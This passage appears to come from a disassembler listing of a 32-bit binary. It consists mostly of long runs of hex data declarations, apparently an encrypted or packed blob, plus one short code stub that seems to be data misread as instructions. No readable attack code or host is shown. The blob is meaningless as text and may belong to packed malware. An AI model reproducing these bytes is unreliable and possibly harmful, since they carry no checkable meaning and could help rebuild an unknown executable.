7E1F99C8h, 629281E1h, 0A948948Eh, 0B61AEDA7h, 248C3C23h dd 797244DAh, 0B572BCFEh, 0F4B3E71h, 0B4640C6Ah, 0F810B0CFh dd 91857A74h, 73AB97ACh, 0A839234Ch, 0B7FEB270h, 1A877F27h dd 867B306Ah, 47622550h, 218BF715h, 0FC72A9CFh, 978418ACh dd 3A4BCD64h, 0F7000C7Bh, 5C2CBC6Dh, 284FBF1Eh, 2891C560h dd 0FA06F5EBh, 72CED70Ah, 72043EA8h, 1547F44h, 77420D78h dd 3635581h, 4F9B8B68h, 0C74827C3h, 0C3E26560h, 0E87D8B24h dd 89BF0652h, 23EF7490h, 548CA3D9h, 0B85DF1B1h, 0D18AA5C3h dd 788BFA97h, 0D07CE246h, 0FB570719h, 0E4C8209h, 0F4D42C2Fh dd 0A7C561Ah, 754E6536h, 80437A7Eh, 0A293907h, 186B659Ah dd 2145C2Bh, 0C8D83BA8h, 1805241Ch, 0F8D69047h, 9C679407h dd 0A82A29F4h, 53B9B904h, 74FE377Eh, 0B11B02CBh, 0AFF77D44h dd 747ED664h, 3A9C5ADFh, 0C092EB94h, 0E3F52F40h, 2A96C209h dd 0CC44BCE3h, 761D0D4Dh, 79CCDA41h, 18F93712h, 8F370AC9h dd 0F32D50C9h, 2C84D339h, 566A790Ch, 48C9F3DFh, 0F668800h dd 0F8B6D754h, 0C782FC9Eh, 0A8CD094Fh, 222E65C3h, 1CE9791Bh dd 0B9443376h, 0D08FA289h, 641F4835h, 0FBF6F6BCh, 303BB63h dd 97CC10D1h, 0C6F88D22h, 6304D28Dh, 279EFA4h, 5F9627A1h dd 4248A1CAh, 0D3F5A28Fh, 9B1F6AF0h, 7025403Eh, 0B37C43D1h dd 9AA1FD95h, 0A72B2E58h, 0FA4061DCh, 0FC748661h, 0C12CE75Eh dd 90990CD0h, 9B5D9FCCh, 0A6EE2C9Bh, 0B0A833DFh, 2FD73071h dd 8816AC56h, 0E212B778h dd 0BDA3252Ch, 9D5E72A8h, 432B0F49h, 3EEA756Eh, 654AC49Bh dd 0DEF6A125h, 595C197Dh, 3F1985DFh, 0AF846338h, 8B7030D7h dd 0E239655Ah, 0ABD096DFh, 0ECC8F959h, 1AB37C4Eh, 1E13AD40h dd 3433641h, 0AE8B28E8h, 8A66EA5Fh, 1879AB09h, 0D09553B5h dd 61860B51h, 3423C31h, 0BE1778CEh ; --------------------------------------------------------------------------- loc_43005C: ; DATA XREF: .data:0041A720o mov ah, 97h mov [edx-5Fh], ecx mov edi, 37A97748h retn 671h ; --------------------------------------------------------------------------- db 45h, 0D3h, 0DDh dd 0E127070Dh, 0FF33E71Ah, 56E7619h, 7C7E8558h, 0F77F488Dh dd 0EC6397E0h, 855DCF3Bh, 0B5D2523Eh, 2BC31E31h, 0AB38B36Eh dd 0D4225DD2h, 0A9E6A939h, 9FD618D0h, 0E2442DB9h, 9700D0F7h dd 14269BD8h, 3C41F4DEh, 61ABE2D9h, 0D4FEA54Ch, 2933A8B6h dd 0E46BA6E0h, 965FF40Bh, 8CAE06E6h, 21EF16C2h, 5015740Bh dd 0A08AFB4Eh, 307BF864h, 0FDC78DF7h, 997E38Dh, 4F87C8Eh dd 42C7B011h, 189FBBE3h, 863031E9h, 535E05F4h, 8550A6F9h dd 404D5BADh, 8ECCA25Bh, 0B18E408Bh, 0FCC1D194h, 954B93B9h dd 2BB376EFh, 740C4092h, 302D23C2h, 0E3BC1272h, 91C5789Dh dd 0EC9DD456h, 3AF423F8h, 0FECA2A9Bh, 0F812C2B6h, 0F0B514D4h dd 0F6AFC1BEh, 4CA37CC5h, 0E470B58Eh, 58AEBAF3h, 0D2D2F09Fh dd 88FDCBCFh, 70C4A874h, 57AD84F2h, 0F2195A70h, 0AF01CD9Fh dd 253EB44Dh, 8626F2ABh, 0DC966EADh, 96059CF3h, 193E5EC6h dd 0E460957Fh, 0C47CA9F3h, 7E112482h, 41BA257Bh, 6A4DC4EDh dd 0A17041BBh, 1A79DC9Dh, 0F0F2F935h, 32D566BAh, 0DA74821Eh dd 8D236084h, 3587EBE6h, 95330B31h, 2B43D85Bh, 40217381h dd 74655590h, 0F4D1C1D0h, 771CC690h, 0D1FCDEA8h, 0A088F672h dd 6B0F6F7Ah, 0F55C0958h, 0BB258939h, 8D61248Ch, 7DD72613h dd 4B02576h, 9C2D410Ch, 9353E2BAh, 57DB1C8Ch, 4314DD24h dd 0ABE47D8h, 5197303Ah, 0A3F272B2h, 0DA1042C9h, 0A91795AEh dd 0CBBB1743h, 0C330A4A7h, 8F620C53h, 61F877A9h, 37476BC8h dd 9D8D2A60h, 1E9FDD71h, 3CC461D8h, 0CB724699h, 53F29A97h dd 1402DEDh, 0D9AA89B5h, 48A51D76h, 0D6EC618h, 0DD51F079h dd 0C2821F45h, 0ABDC4BC1h, 0FE7E3592h, 4CE16A86h, 0CBB66FCAh dd 9DDB240Eh, 1EF83563h, 0D923D745h, 444018EAh, 0F3496BDAh dd 0CB62A99Bh, 355A9966h, 5163894h, 574F963Eh, 5FCAA5E0h dd 610337AAh, 237D1ADAh, 0E20CCAh, 34EBDC0Bh, 3E58C252h dd 0C79F951Ah, 0D62A19F8h, 42269E09h, 0ECC7F2AFh, 792C09DAh dd 9A5E0BCBh, 4E3E4365h, 2390B4A0h, 0D089CB21h, 7AFEA14Eh dd 0C99C828Ah, 2D01B478h, 6C884CADh, 5AA75532h, 0E1936221h dd 4CD0ABBCh, 0A2AED91Ch, 0C36C0EC3h, 6A8B49F2h, 0C097A837h dd 0BA4B0C99h, 7E2E4E3Fh, 3AD189F2h, 42AB2D0Ch, 35F584A1h dd 5E81D860h, 0EAC4D7Bh, 2303B323h, 0C60A9735h, 93E321E2h dd 0EFD799C7h, 0DC3B66EBh, 7911E4C5h, 25885A9Ch, 17785A07h dd 78CA0EFEh, 0CFD727BBh, 0DFA313D7h, 5FFF45CBh, 0E958E580h dd 0D295DE8Ah, 12CCBCABh, 2953F9A7h, 0F7DA19DAh, 2D929769h dd 0F1CED881h, 4947900Ch, 0C64E4D5Ah, 0EEBC3D3h, 0E1F96848h dd 1E8AA7F7h, 0AFBB6473h, 0DC750C6Ch, 0A35CB566h, 55D4CBBEh dd 59EA5F68h, 139CAD3Bh, 0E4DF626Bh, 0EFC817EAh, 0D5BB62FDh dd 0DCD6F790h, 0BC315CA4h, 4B975B7Ch, 0A881285Fh, 0D3633FF7h dd 0BEA4DE43h, 67C9170Fh, 0FEA2DC38h, 689F0D2Eh, 28B29755h dd 0A0143C20h, 45D0FDC0h, 0C757B0EEh, 23640E8Ch, 58932118h dd 500B8B96h, 0A33A659Eh, 47B62D6Fh, 1AC8B90Ah, 0B10AD727h dd 77969F1h, 3BCE6D35h, 8B56CE15h, 0A004E587h, 74302713h dd 592EA654h, 563DD596h, 9D0AA371h, 16D0E44Bh, 0D107DBEEh dd 7E96CDCCh, 0F8279707h, 0B26D7476h, 94F493F0h, 970F50ECh dd 0C24057CFh, 67445958h, 0C8E8849h, 0BB875CE0h, 977FDD96h dd 724EC5C1h, 0CBFE0422h, 0D0144EFBh, 23FD915Bh, 9426B505h dd 6F66A61h, 0C9930FBEh, 6DEBB130h, 0A57FE7D5h, 2E7E11B1h dd 0E01E655Fh, 1B8EDA25h, 1021AAF9h, 7C3E0CCEh, 34EE0994h dd 88980AFDh, 945F3459h, 9D8276A5h, 1B5208EDh, 684F81E7h dd 9614AB81h, 0DF68736Dh, 1C74949Eh, 0AE703663h, 83129C14h dd 0B8DB417Eh, 25558803h, 0B6EFAAF6h, 0E2E9D963h, 0B7056C1Bh dd 0EE77FDA2h, 72CA45ACh, 3CB69BDEh, 0CDA88C25h, 0B019F2F8h dd 411C3C1Eh, 4794341Bh, 0D5ACBADAh, 69343178h, 58C21D37h dd 7A5AC8DEh, 51A0AFEEh, 7D80122Bh, 0A57147B6h, 8AC3E5Eh dd 65699224h, 31339BD3h, 6A1CB418h, 87F86DFFh, 0AC83A3CDh dd 910738F0h, 5AB62115h, 3B2C5C2Bh, 486A68CDh, 34F09008h dd 0E77BC4F8h, 2CC0CBEh, 0DC976818h, 542EDC4Ah, 58E3B8C9h dd 0BF7ED1EEh, 7C6DDDDAh, 9AB8844h, 916900DFh, 0A8E7C9EFh dd 0D0E03CD4h, 97194473h, 385FAB0Dh, 0F4D29980h, 8CD8C209h dd 0CF732555h, 45B07C49h, 0F9DA5E76h, 78CF6AE7h, 69ECCCE1h dd 16824535h, 92014213h, 8CDC4EF1h, 0CEB1C96Bh, 0A12E85AEh dd 0C8856BD6h, 45BE024Fh, 54A26D2Ch, 66358E3Ch, 68FF2438h dd 0EA3A366Bh, 0F1726FF9h, 929AE6A2h, 7B22B5ECh, 0F92AA2EEh dd 0D57E6289h, 2AAEEE22h, 84A0D2A8h, 2FC4D501h, 5E88A938h dd 59F432AAh, 469D145Ch, 6119CA4Eh, 0D21DBC27h, 5426F60h dd 0B1AD60B3h, 9368C647h, 0D2F52C39h, 8C6B6AAAh, 4408A3C7h dd 5E81B2B9h, 0CAD2BEA3h, 0B5735F9Fh, 5B28D260h, 0CBBACCCEh dd 20F8634Eh, 561F5A5Ch, 9B01FF4Eh, 1058F0D6h, 57C943CBh dd 5A652BA7h, 99E23B39h, 0F0EC48C0h, 0E5B63017h, 0E55B167Ch dd 0EAB63032h, 43A0FFDFh, 870F5E6h, 6B3F2D66h, 0D73FED0Eh dd 0B6664C2Eh, 948647DDh, 0B71CEAD9h, 0D5E6DABDh, 0CF432381h dd 4A1873A9h, 7C261D4h, 901C52B2h, 5AB76B0Ch, 4FD32D35h dd 0EEFFC9B1h, 4DCC888Ch, 0D06EE13h, 62B155FCh, 0BAE672DDh dd 868B9B72h, 63988D09h, 4706FA70h, 7C69B332h, 3D5718BDh dd 4E437EFCh, 0E988EE0Dh, 365C7AFDh, 0E26C5667h, 8589A0DDh dd 0AC879353h, 1B196DE4h, 0C190ED38h, 0D71CD595h, 4DC6D605h dd 0B44630F3h, 3BB9809Dh, 94A6900Ah, 0CB352AA3h, 5818A77Dh dd 472B9989h, 0E6A0CDD2h, 272B02B7h, 93A22C93h, 81714768h dd 9390C792h, 4F247048h, 865EF639h, 156E822Dh, 49A238E8h dd 3A53653h, 92EA0C00h, 0AA1116FDh, 17B878CDh, 51910A32h dd 0EC6556D7h, 0A20A81F6h, 0E45E6D5h, 38444216h, 2CA61411h dd 48E6C5B0h, 2A3CF285h, 34DE54E5h, 0A131B685h, 2B6FB89Eh dd 33C2F808h, 2CF8A5ADh, 19513954h, 204A6139h, 12A68458h dd 9C1C433h, 0A419C31Eh, 62E8C5B8h, 17EDD212h, 4E241253h dd 6DAE4B1h, 99D838Fh, 0DDAB7079h, 44E44E04h, 31BC268h dd 8C01D0E0h, 0CD87817Bh, 2124BDBDh, 6FE20F8h, 2A4D22Bh dd 509BA28Ch, 0CDCF148Bh, 5A4AD0C4h, 10FA9302h, 3D3DECE1h dd 0DAEC17BCh, 4B6580BAh, 7F2E998Ch, 27169049h, 0FE539308h dd 0B87DCFB9h, 2D099277h, 0C1963AAEh, 727FCFE6h, 0F3E07842h dd 261A638h, 0E12A0339h, 0C4F2058Bh, 763829F3h, 9AFCF4F0h dd 0E1DABA2Bh, 32E8A52Ah, 126E248Ah, 18527D5h, 8908B48Ch dd 0AC84391Eh, 3F8B815Bh, 90AC63FDh, 2B08053Bh, 9EA264A0h dd 0E5B10032h, 6FC74391h, 0FB356F02h, 0DB0ACAD3h, 7CC1005Dh dd 0B48CF4B2h, 45C91351h, 0D2C790AFh, 0D96E4616h, 0D59BAF20h dd 4E412250h, 50B9576Eh, 0E2AEE13Ah, 6DD894D5h, 4C536312h dd 49D5EA6Bh, 5C35665Ah, 0A459ADEBh, 0E4F2C6B9h, 0A523A1F0h dd 42112885h, 3EE2C312h, 0E09EB251h, 20981F45h, 7F00C9D8h dd 5738130Ch, 270F7D66h, 54F9A53Fh, 0C4A7F61Eh, 3EB3C735h dd 684E6E19h, 6E38EAD9h, 7114E3B0h, 46165897h, 27D94C87h dd 0F2E2FBD4h, 88B0BE88h, 2105CF62h, 0E9E7A4BCh, 9E19345Bh dd 0CA255342h, 0A794D816h dd 53D509EEh, 0DACAE54h, 9E4F0F8Ch, 0C303D1DDh, 540B53A7h dd 106C9F65h, 1A96F7E7h, 3665691Eh, 0EC29C2C7h, 0CF49EDCCh dd 42BC6936h, 0BE558FFFh, 0B818FBBBh, 0EB72DF5Ch, 68BE2332h dd 8D62ACF4h, 96C02F73h, 4FC3D916h, 0BCC45BE3h, 0AD6B49DFh dd 56545998h, 0A37B1906h, 98B416E1h, 56A6DA3Dh, 88468A3h dd 0D72B407Ah, 2F094356h, 0C1C2EBE3h, 0EB9D6DCDh, 369CC292h dd 0B0857F2h, 0CA156993h, 3F5E5E05h, 5D1C4E8h, 0D5A0329h dd 6B06EEh, 7A212EC8h, 0DF1EE3F1h, 65D44A3Dh, 0E3CA55D1h dd 773B2178h, 3C026DE0h, 0F43642B2h, 0A684431Eh, 0AD16E83Fh dd 0FDEBA075h, 203C0EE4h, 55698927h, 8935DEBh, 0AE327A91h dd 0BF2BC16Bh, 0D027CFABh, 0F73F1756h, 3CAFFA97h, 0ED6AB7CAh dd 1573EB31h, 0AA57E471h, 866841F6h, 7CE6AB5Bh, 5D9FF630h dd 5EFE2164h, 0BF883AF4h, 0A75E343Eh, 0F41EE110h, 91FB6108h dd 0BAE9A382h, 38F7AE7h, 8DCBAA17h, 8D554C4Fh, 0D9E33AE0h dd 95ED37CEh, 0AD18119Ah, 0B2AD65Bh, 5233B665h, 0C9194CCDh dd 0A80923DDh, 0C041D5FBh, 27237458h, 0DDFB4577h, 72046BCBh dd 82D69D8Fh, 90403CFh, 0AA4AE200h, 8835B199h, 605EA09Ah dd 0B1AE2C22h, 0FC89CE97h, 7382101Dh, 0CCA5C3D5h, 400C69E4h dd 0F148AA1Dh, 0FA663F69h, 32592127h, 59E7B3BBh, 2554211Fh dd 80E36174h, 818782BDh, 7E759F3Ch, 2BE5E8ADh, 0B7E1BF21h dd 5EB326BEh, 0D14B1A8Ah, 0CBB66AF5h, 0FD3FAAC1h, 6C00BCDBh dd 7BBA3603h, 622C665Fh, 0F2447F55h, 9DE8C48Eh, 6049409h dd 1CB51487h, 197AE93Fh, 7C8678BEh, 6D8A1DE9h, 0BD408D19h dd 0D8D290F5h, 0F83CA651h, 3EF274AAh, 6959D216h, 2D5BF198h dd 0BCB87516h, 0C1DA6046h, 8DCE468Bh, 4914E5DEh, 47350A10h dd 46DEADB5h, 0C435D920h, 1DAF05EDh, 46E46D3Fh, 4317ACECh dd 0DFCED996h, 0F97225C5h, 0B4E7AAADh, 491A0220h, 0F7E8B8C4h dd 6B04DC53h, 55B03321h, 3F7162C5h, 3A8B4D34h, 1C344857h dd 0EE14DE68h, 7822B120h, 1BA30607h, 32564087h, 0F2691F09h dd 2E014787h, 499582D7h, 3CA7D9D0h, 0E8F08025h, 42A3D6E3h dd 0EFE4D377h, 95C9C304h, 57AE4DEAh, 0C2E3816Ch, 0DF07B596h dd 0D9ADFB09h, 79FBDE80h, 8C55F66Dh, 0F6C80AECh, 0D984FC82h dd 0E7AC3B16h, 7973C236h, 36FE93B3h, 88C08412h, 0A239B737h dd 4B8F609Dh, 6517EBF3h, 5181D349h, 0F29CE8CAh, 2A54B3EFh dd 0F107B485h, 620523h, 0C212EABAh, 2EB64D1Ch, 75509CCAh dd 79AD0AA2h, 0E53A5C76h, 0A41D0367h, 0C375E83Eh, 9404B3C0h dd 30E7BFE0h, 182E735Fh, 1477739Dh, 14BCD2C2h, 9CFEA841h dd 0C32C6F2Bh, 0FB9D28CBh, 6373CF6Eh, 6FD5F19Fh, 0BA22949Fh dd 91E21F5Dh, 42B96984h, 2C0067Fh, 53D6F075h, 8CCA89C1h dd 4960578Fh, 8A1AF133h, 0C6B593D3h, 0B0FC9CDDh, 0D4B75BCBh dd 98612105h, 95E66273h, 0D055F7C2h, 8F05FD3Fh, 83CDC394h dd 70AB8E41h, 0C4644B3Dh, 0B3F4CF65h, 0D488377Fh, 0A469A31Ah dd 1DA9F014h, 0B6C7D683h, 7ED662DDh, 472D699Ah, 8B736938h dd 3E97EA14h, 8D2DD973h, 47E09236h, 57589234h, 0C80C2BF7h dd 1ECF9C5Fh, 0BCF31A85h, 0F1BCA552h, 0BDAAC136h, 367F7124h dd 29E504CFh, 0BB2F263Ch, 25140FBh, 435527B6h, 0B9B94F1h dd 0FEBC659Eh, 49E9A93Dh, 5844BB3Ch, 0D95C0EC3h, 0A398E4F9h dd 4C74CC15h, 728FA192h, 0C44A81F9h, 0A4899726h, 551D51D5h dd 1D185C6Eh, 4534989Dh, 0CC8735C1h, 911D557Eh, 3539173h dd 0F86C7515h, 302BBEFDh, 92E06298h, 0C1BFB4C6h, 3B2DAA63h dd 0C9F9D853h, 0F77C8838h, 0AC5C42F4h, 993EBA25h, 60AC0429h dd 82079616h, 0BEFE7302h, 1E84F0DCh, 0C22D2D26h, 9825FC6Fh dd 0BA782E0Eh, 0B4A80A67h, 0D1EFEEA8h, 0B78077A5h, 53B8CAC4h dd 0F1E358ADh, 54BBD254h, 92F22DECh, 17758C75h, 0C02F5D87h dd 9BBB2749h, 0E0A706D2h, 85CB042Bh, 0A6F38D64h, 46EB42DCh dd 32B474DDh, 0E00101B5h, 69A9EFE8h, 21EE52F8h, 0EE79605Eh dd 0CDC06721h, 686D80CFh, 0F899139h, 6E8B8E6Bh, 0FB164B6Ah dd 0BCDE728Ch, 7E8DDAA5h, 0D1F239B8h, 81E9FF94h, 9CFF3090h dd 75B6812Bh, 5802669Eh, 0C69D9CABh, 0EAF4A352h, 8067B5DDh dd 26DEE5BAh, 0E7688C14h, 93B64EC9h, 7A5838CBh, 81AFFBC2h dd 1D92CDDDh, 0B34EC26Fh, 2DF5E053h, 7385F19Fh, 4F0C7509h dd 760E5FA7h, 8CF2E761h, 1F84827Eh, 0E96904DEh, 0F1199CBFh dd 62D22BBEh, 2241543Bh, 6D753EEBh, 8BFC0900h, 3A7AA358h dd 2E36BA74h, 0C517203Dh, 0AE8C1637h, 0D42DCF9Bh, 4E910E2Eh dd 78109725h, 0C590BFC8h, 0DCA53272h, 9B267705h, 4FC8022Dh dd 0CE0F9E54h, 1A1804FBh, 7B973BC0h, 0E98E5521h, 0FDA63E4Bh dd 0BB2BF503h, 0CE742F08h, 9D546864h, 9C239F74h, 2EA1ECC7h dd 2EDCB69Bh, 129C072Fh, 0A6A55DF5h, 0A23EFB54h, 52EF5FF5h dd 0EBA987F5h, 0C7D7F8D3h, 75313BBAh, 0BEEB20C2h, 0B0D7DF60h dd 1B3D9BB4h, 3E9F81F7h, 6BD36964h, 92B39829h, 679E00EEh dd 0E5251EC3h, 270C9A88h, 146A27B0h, 4C125682h, 122DB724h dd 0CC96A2A6h, 4D70E887h, 2651BAD5h, 0D2D4A886h, 37E4CC73h dd 0BF0D4B0Ah, 43A33337h, 340316FEh, 389C0953h, 26E16B8Eh dd 249020F8h, 0E7126CBCh, 0CF02C6BCh, 1F910FDAh, 0DF26935h dd 9258960h, 13629639h, 8C41BF38h, 0FF5C661Ah, 3468DC43h dd 32F82228h, 0C148AD62h, 0F97822BEh, 10E3B30Bh, 28B60652h dd 58F8F0D9h, 0C76938B8h, 5F46E50Ah, 0E16F8FD8h, 3453FED1h dd 88549CE7h, 0AB9A4C6Ah, 0B40C470Fh, 0CFD1E97Ch, 0DAC57852h dd 0D1D0F067h, 0D29E0D2Fh, 0DB970A9h, 0E3D7AAF3h, 0D5399162h dd 58C41AA8h, 32EE79F0h, 1002D6F0h, 0EB14C181h, 1F7FFD98h dd 63BBDF50h, 490F1377h, 0DDA9C8DAh, 6AAFC801h, 5F9AE21Fh dd 0FD6E8394h, 0B894289Fh, 0C96E8477h, 8877A0C7h, 9BD64D2Ah dd 332AF566h, 108558AEh, 4EE213Ch, 208DBE75h, 9E5B0670h dd 0A6401DE4h, 316D822h, 9A4A368h, 5A956FE2h, 0D8C883D8h dd 4EA2BD6h, 0A040B88Bh, 0EB7B94CBh, 732A612Ah, 85E0050Eh dd 5D1A43EFh, 23DBA1BAh, 8CECF79h, 2892E6BCh, 0AD0C9BD9h dd 0C831AD61h, 12B3C76Dh, 0E53437A3h, 867A73F3h, 9353EB79h dd 765F69F0h, 747B89FFh, 2FFF9C99h, 0B80D49EEh, 728B37C4h dd 72F2E8F3h, 0FAC1B20h, 6CE0B87h, 0A8B287B5h, 9E6FACDFh dd 7958AAACh, 94413889h, 0C6A4D516h, 0F4F79B91h, 0ED4133DEh dd 0F6C2F5FCh, 0F1FB3BB4h, 0A37B86EBh, 2151C037h, 8DEE8606h dd 506C1A77h, 584BAAA1h, 2966CAFh, 46132D2Ah, 72447523h dd 0A906B9A5h, 0D1D5C619h, 0D5A4E3EEh, 968377A3h, 22ECF0F3h dd 4A96C9ACh, 28117D22h, 87B0331Ah, 0CC51D847h, 0C689BA3Bh dd 3B9CC8C7h, 0E61D8DAh, 0E01D4ABEh, 20F8A7E5h, 1E436DFAh dd 589EAC38h, 0EAD2A035h, 0CC052152h, 834375EEh, 469826CCh dd 2EF75FBDh, 547CF9C6h, 0DE9717B8h, 3267A1D7h, 0E13389FBh dd 938776Ah, 7E18202Ah, 699A6B5Ah, 0EBE19C57h, 535F209Dh dd 718F026Bh, 1E4CB554h, 95086Dh, 0FF2A198Ah, 0CA666B9Ch dd 0E8CE457Eh, 308ABADh, 0AC0804B4h, 93FA2A26h, 0FF906C76h dd 20F747B4h, 579FC216h, 384F968Ah, 2E6E1E27h, 31B23974h dd 0B302989Dh, 735DC95Ch, 7A300DF6h, 5AA7E397h, 2BBEE668h dd 0D82C1FFh, 89A5F928h dd 0E7E6A562h, 0A6D79681h, 0AAC72E6Eh, 7555F96Eh, 45CADB4Eh dd 0D07B5D7Fh, 82D0DA00h, 1DCCA26Eh, 0C4C74C98h, 465B01FAh dd 5949D305h, 4613FCF3h, 9347A037h, 7BC1EFC4h, 945AE346h dd 70DB6BE2h, 2D631375h, 0E6A03053h, 0A2F30C4Bh, 34D89405h dd 901F7DCEh, 6800081Bh, 6691B0B8h, 21FAE480h, 0CC013108h dd 1C95AA6h, 8420A001h, 0BB49A83h, 6200AF5h, 52FDA257h dd 249DD8E1h, 93445BC0h, 0F0E364CDh, 8B8F333Bh, 3A4D668Eh dd 7D55B581h, 46EAA70Bh, 2870DEFFh, 0B8135E35h, 0B6CDE919h dd 8923D0A2h, 53461C81h, 6287FAE3h, 75DD1814h, 79197F0Eh dd 9AAABE5Fh, 0F315CD23h, 33CAD6A1h, 7D09D049h, 0C77FABE4h dd 8774C738h, 5684D15Eh, 58A3542Bh, 4AC12B7Ah, 600E7D0Ch dd 852471E4h, 0CC4B41E8h, 0F7FB8887h, 677F923Eh, 5A9F0046h dd 99246470h, 9C6105D4h, 7EA04CFFh, 5D791455h, 0D67BF770h dd 5FBC5CB3h, 341E245Ch, 0F6FB036Ah, 8960086Ch, 3DC114ADh dd 5827C289h, 0E7DE576Ah, 4ACEC5B0h, 0D98CCB56h, 4AC9ADFAh dd 9AAEA782h, 56786C53h, 0C57E991Ah, 51229052h, 0EE80ED6Ch dd 2DBDF283h, 8CA44B8Fh, 713A5928h, 0B97BE36Eh, 0AD002207h dd 79A2970Ch, 0C25C3B16h, 1F427209h, 3EDCE797h, 56C0B1A6h dd 7119C24Bh, 0EAEF0C68h, 0D0A926F1h, 1C6BCC72h, 0E7CD101Fh dd 0E6AC64E5h, 5B16B009h, 0DA6FCE24h, 4581FFFDh, 0D6CA16E4h dd 9C9B97AEh, 0C22C4C1h, 0EE6D73E2h, 8E8F3DE8h, 0E28B61A2h dd 4ED6396Ah, 0C7C06447h, 0FE4DE159h, 0D831E641h, 5C741A38h dd 2CD18EA6h, 71B8B849h, 0E0138624h, 0FAACEEh, 0A6FDD039h dd 7C5EAC34h, 9D102DB6h, 1842ECE6h, 0E1B8B303h, 0BAD23237h dd 0ACB98D92h, 744F4A50h, 91959B9Fh, 0FDE84032h, 0D9FC0B99h dd 9FD963D9h, 84CC5036h, 4E542EFDh, 2BD06346h, 679CC79Bh dd 8818946Eh, 0D0246947h, 3646B972h, 0CC80F3FAh, 115285EDh dd 2998DC1h, 49B8E264h, 28F3BA1Ch, 9ACD113Dh, 0D63C05A4h dd 892A91ECh, 0D5D66D1Ah, 3972AB9Ah, 0E42C3C48h, 338714A9h dd 954068A0h, 1BB58CEFh, 62D5A601h, 50DCAE18h, 29475EC8h dd 5ACBE52h, 0CA50FC3Ch, 90DD5935h, 0C401B2AFh, 9BBFC42Ah dd 6DB189DBh, 24909500h, 0CDEBE349h, 936F5A49h, 9FECA880h dd 0FAD9F945h, 5DD8F438h, 184A6442h, 65674C3Ah, 673E936Ch dd 0AC5E2A4Eh, 926A75FEh, 0F147C02Fh, 0DCCCD61Fh, 0C54A387h dd 75270FF9h, 0CF881131h, 7600A1F6h, 5BDF7357h, 27867E85h dd 6D77E542h, 0C04CA112h, 0B2AB229Ch, 0BF7ED1DFh, 5B6FCAA3h dd 2C52CD69h, 32865297h, 406AA880h, 6BEC51F5h, 5D2EF3A4h dd 0EC9CC581h, 906B79B0h, 10E5BA77h, 1A4C7FA7h, 0F449F76h dd 607B88E5h, 636AEEEFh, 2D053AA0h, 8442774Ah, 0B06F09EFh dd 282F566h, 2F191F1Eh, 0EB384BFBh, 1999A90Ah, 0D8D186C8h dd 7C13F114h, 4FDE4E30h, 0C1036D0h, 3FC5CA70h, 0A8BBDDBAh dd 11B5E392h, 3ECC3DF4h, 3E017219h, 58F26EE7h, 0D06076D6h dd 8A137Ch, 4E074AE3h, 956E9096h, 0E0D678Eh, 17F0D37Eh dd 2FCD8711h, 0ECCE2E69h, 0C9800DAEh, 0A81ED5CBh, 96564031h dd 2E046ECBh, 44A89906h, 93E6B8D1h, 53631A9h, 8205281Ch dd 76488D1h, 0D915B3D5h, 0EB067694h, 0D57A4310h, 9EF1FD9Fh dd 0A77492D5h, 0B480AA36h, 0AB61C4D4h, 0C7CDAAFDh, 8A19E34Ch dd 44457467h, 54FEED0Bh, 0CCA83553h, 0F809FFC9h, 0D20C04C9h dd 67D042B3h, 87F24BDBh, 818BD476h, 2E2203FDh, 59474D6Bh dd 5B9A9B91h, 0B5513026h, 83FA9C76h, 1D4322E7h, 84C02BCBh dd 0D3B95158h, 0E3DFAC4Ch, 3F54EE4Fh, 663CB180h, 64BD998Eh dd 0ED2C6FFEh, 5CFCB242h, 0C4DD69BFh, 94A7337Dh, 3E302C96h dd 7BAEE231h, 0A14AF200h, 775DA158h, 9EB64556h, 0E0DCA5B9h dd 1D779324h, 0F45079A9h, 55D81F7Ah, 0F12F7D6Ch, 0A9579504h dd 6EFA2567h, 0EC03115h, 0AB8D1208h, 9CFE4A7Bh, 3A3AE119h dd 8D2D6586h, 0E75ECCB7h, 0FE99D8E1h, 438726BFh, 0B0F96828h dd 49795A0h, 17EE29F2h, 5A592EF8h, 6DE53414h, 0FEE68D12h dd 4C7FBBF7h, 48DFF625h, 0A27176D8h, 0C5D02F4Ah, 98D814B6h dd 3099E62Dh, 0EC564A5Eh, 0EA03E1CFh, 0C651A757h, 0D0A77680h dd 0D3064EE5h, 0DAF33904h, 0C6B86A8Fh, 0B2C6B61Fh, 6B3637C2h dd 98AA206Dh, 20F3E279h, 5CFB1A74h, 0D24A662Fh, 525575ECh dd 2BCCD05Bh, 39E2BC1Eh, 0D206FD32h, 80750531h, 0C3ED0070h dd 863AFFB0h, 3B3617D6h, 44FDBC47h, 0E3A9CB90h, 0D2F4F84Dh dd 0E633560Dh, 2B779183h, 6F11D288h, 1E28AB48h, 53501FAFh dd 738FBD6Ch, 0B2BDC7F1h, 0F191F31h, 0D06AA9AFh, 0A5AEE8D4h dd 0F755CCBBh, 3C30D88Fh, 0E7500A5Fh, 3E210AA8h, 9684167Ah dd 0C46DB538h, 0FA1F3FB8h, 0B411C088h, 4A563B8Bh, 2DFA02A9h dd 0FDBC5D39h, 0C9BC1484h, 9BD95F16h, 431F3603h, 0B067879Eh dd 171D51BBh, 0C4F18E68h, 6CB44A67h, 20F86513h, 0C7F5A069h dd 282A4F06h, 300CAB60h, 19E3960Ah, 871A12CCh, 1E94E765h dd 7A02D411h, 2610C6CCh, 61DAF129h, 2F0E7D52h, 0E3CF2A8Eh dd 9E3BCD49h, 0DEDB4977h, 5C844DD2h, 0ECCF804Fh, 0B156101h dd 53D75609h, 6A327E2Ch, 3BA194E2h, 0A773194Bh, 1B2899E5h dd 0F59DFCCFh, 5E798B1Fh, 0B20F6CE0h, 161921EEh, 0B26C5553h dd 0EA62C788h, 0E77ABBC2h, 712599Dh, 4E894846h, 7C6D07E9h dd 41350293h, 8F8FA365h, 86370C84h, 0B376693Bh, 57AF6B9Eh dd 41E310E1h, 51EEED76h, 0FAEF11E1h, 61809D9Dh, 0E5F69200h dd 74CAC1A5h, 6F0B4FF4h, 0E000B765h, 9D7A9205h, 7A5B4B05h dd 0F1169B6h, 4B946B6Ch, 96C08D0Ch, 8951B840h, 13CC0B7h dd 4E30A3E0h, 6BC69744h, 13917927h, 55A6726Dh, 0CCFEAC14h dd 802F9C3Dh, 3385B41Fh, 0D026E141h, 56A8F26Dh, 5EE66104h dd 4D18D7FAh, 597677B0h, 0D9EEDBEFh, 7500781Bh, 1BF4FA7Bh dd 0BD8E07AAh, 0A2BF07B7h, 4447B9F3h, 93167A7h, 0BFBD14FCh dd 908D3D34h, 5C2D278Eh, 8BA2BC5Fh, 0FC69D64h, 0FEFE4AF1h dd 0AC2993B3h, 2399B568h, 0F661E464h, 7BABA57Fh, 6AE49321h dd 40574D2Bh, 6606DC66h, 0A5F2397Fh, 9E14ABEFh, 0BE9B802Ch 